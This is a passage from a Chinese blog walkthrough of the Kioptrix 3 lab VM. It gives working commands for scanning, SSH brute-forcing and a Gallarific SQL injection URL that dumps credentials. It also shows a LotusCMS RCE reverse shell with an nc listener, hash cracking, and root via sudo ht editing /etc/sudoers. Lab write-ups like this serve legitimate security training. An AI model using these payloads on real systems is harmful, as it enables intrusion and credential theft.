0x00 前置作業
首先根據說明頁面,得知須先調整hosts。
將/etc/hosts新增一行:
<ip> kioptrix3.com
再ifconfig eth0 down後ifconfig eth0 up
0x01 取得靶機IP
netdiscover -r x.x.x.0/24

0x02 服務探勘
nmap -sS -A -sV --version-intensity 5 -Pn -T4 -p- <ip>

0x03 ssh爆破
nmap <ip> -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s

0x04 web掃描
nikto -h <ip>

dirbuster



phpmyadmin,嘗試root:null、root:password、root:mysql等常見預設帳密都報錯

0x05 Gallarific SQLi
依據dirbuster結果,找到gallery/index.php路徑,看版面推測使用Gallarific,看一下source code確認無誤

搜尋exploit-db後發現Gallarific存在SQLi漏洞,到存在漏洞的頁面gallery/gallery.php?id=null
先撇一下確認有報錯

poc直接貼上會發現column數有問題

先透過order by方式踹一下欄位數有多少

最後發現欄位數為6

由於poc的頁面column數是8,在這裡需要修改成6:gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users--

取得帳密為admin:n0t7t1k4,將帳密登入於poc提示的gadmin/index.php


0x06 LotusCMS RCE
Login頁面看source code

往上翻style/eomps/admin發現有directory listing漏洞,再到install.html看一下

從title得知LotusCMS版本為3.0

找對應的poc,這邊我用的是lucky_lotus
先在本機nc開port:nc -nlp <lport>
執行poc:python lucky_lotus.py <rhost> back_python.php <lhost> <lport>

切回nc,確認reverse shell成功

0x07 提權
用grep -rl "pass" *來搜尋些有趣的資訊。以找到的gallery/gconfig.php來說,資訊如下:

mysql -u<usr> -p<pwd>

先看dev_accounts內容

把密碼丟到線上md5 decrypt網站,如md5decrypt.net,可得知dreg:Mast3r;loneferret:starwars


把帳密登入網頁發現顯示帳密錯誤
拿剛剛的dreg:Mast3r來ssh目標主機

ls -all沒什麼可利用的文件,bash_history沒資訊,uname -a看os版本也沒有exploit可利用
sudo -l發現目前使用者沒有sudo後可用的指令
接著透過su <acc> 切換帳號,ls -all後,看bash_history沒資訊

sudo -l

發現ht可透過root權限執行,且再看CompanyPolicy內容,提示透過sudo ht可修改檔案

但執行sudo ht後會顯示「Error opening terminal: xterm-256color」,執行export TERM=xterm後即可
再藉由sudo ht以F3方式開啟/etc/sudoers,將目前帳號加入/bin/bash以藉由root執行bash


取得root權限
沒有留言:
張貼留言